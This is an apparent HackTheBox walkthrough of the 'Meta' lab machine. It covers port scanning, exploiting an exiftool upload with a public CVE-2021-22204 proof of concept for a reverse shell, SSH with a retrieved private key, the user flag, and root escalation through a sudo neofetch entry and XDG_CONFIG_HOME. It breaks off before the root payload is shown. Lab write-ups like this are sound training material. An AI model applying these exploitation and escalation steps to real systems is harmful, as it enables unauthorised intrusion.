Posted onEdited onInHackTheBox walkthroughViews: Word count in article: 1.4kReading time ≈5 mins.
introduce
OS: Linux Difficulty: Medium Points: 30 Release: 22 Jan 2022 IP: 10.10.11.140
Enumeration
NMAP
1 2 3 4 5 6
┌──(root💀kali)-[~/hackthebox/machine/meta] └─# nmap -sV -v -p- --min-rate=10000 10.10.11.140 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http Apache httpd Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Port 80 is our only attack surface so let’s start there. Before the page even loads, we’re redirect to:
1
http://artcorp.htb/
Let’s add that to /etc/hosts and continue:
We don’t have a great deal available to us. We can start bruteforcing directories and subdomains. We eventually find:
1
dev01.artcorp.htb
We seem to have file upload:
1
http://dev01.artcorp.htb/metaview/
We don’t have a great deal of other information. Let’s try capturing requests and seeing where that takes us. We get an interesting response from the metaview upload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
<div class="mt-3"id="output_data"> <pre>File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg JFIF Version : 1.01 Resolution Unit : inches X Resolution : 96 Y Resolution : 96 Image Width : 1920 Image Height : 1440 Encoding Process : Baseline DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) </pre> </div>
Foothold
The output looks awfully similar to exiftool suggesting potential exploits available to us via the file upload. We don’t have a specific version but we can try using relevant PoCs:
A case study on: CVE-2021-22204 – Exiftool RCE
We’ll start by getting the requirements for the exploit:
CVE-2021-22204-exiftool
This repo has a script that allows us to automatically create payloads to get a reverse shell. We need to start by editting the IP and port variables:
┌──(root💀kali)-[~/hackthebox/machine/meta] └─# nc -lvp 9001 130 ⨯ Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::9001 Ncat: Listening on 0.0.0.0:9001 Ncat: Connection from 10.10.11.140. Ncat: Connection from 10.10.11.140:54114. /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ whoami www-data $ python -c 'import pty; pty.spawn("/bin/bash")' /bin/sh: 3: python: not found $ python3 -c 'import pty; pty.spawn("/bin/bash")' bash-5.0$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) bash-5.0$ cd /home cd /home lsbash-5.0$ ls thomas bash-5.0$ cd thomas cd thomas bash-5.0$ ls ls user.txt bash-5.0$ cat user.txt cat user.txt cat: user.txt: Permission denied
User own
We have a user called thomas that we need to try exploit. There is a cron job that runs an image convert script. Most of the binaries used for this are found in /usr/local/bin such as convert. We also have a script containing the following:
┌──(root💀kali)-[~/hackthebox/machine/meta] └─# chmod 600 id_rsa ┌──(root💀kali)-[~/hackthebox/machine/meta] └─# ssh thomas@artcorp.htb -i id_rsa Linux meta 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Jan 23 07:54:28 2022 from 10.10.14.8 -bash-5.0$ id uid=1000(thomas) gid=1000(thomas) groups=1000(thomas) -bash-5.0$ whoami thomas -bash-5.0$ cat user.txt 997f481194ea9c17c5d4a015cfca3b7c
Root own
We have a /etc/sudoers entry that allows us to run neofetch:
1 2 3 4 5 6 7
-bash-5.0$ sudo -l Matching Defaults entries for thomas on meta: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=XDG_CONFIG_HOME
User thomas may run the following commands on meta: (root) NOPASSWD: /usr/bin/neofetch \"\"
This is pretty easy to exploit, we search on GTFOBins neofetch exploits and we find this:
gtfobins - neofetch
We have an interesting entry regarding env_keep. We do have a neofetch config in our home dir but this isn’t touched.
1 2 3 4
-bash-5.0$ pwd /home/thomas/.config/neofetch -bash-5.0$ ls config.conf
We can edit this config to try set the LFILE environment variable but due to how this is setup in the cron entry, we can’t use it. I had a different idea. We can set our own config path to the one in ~/.config using:
1
-bash-5.0$ export XDG_CONFIG_HOME="$HOME/.config"
We change our currrent neofetch config to include a reverse shell:
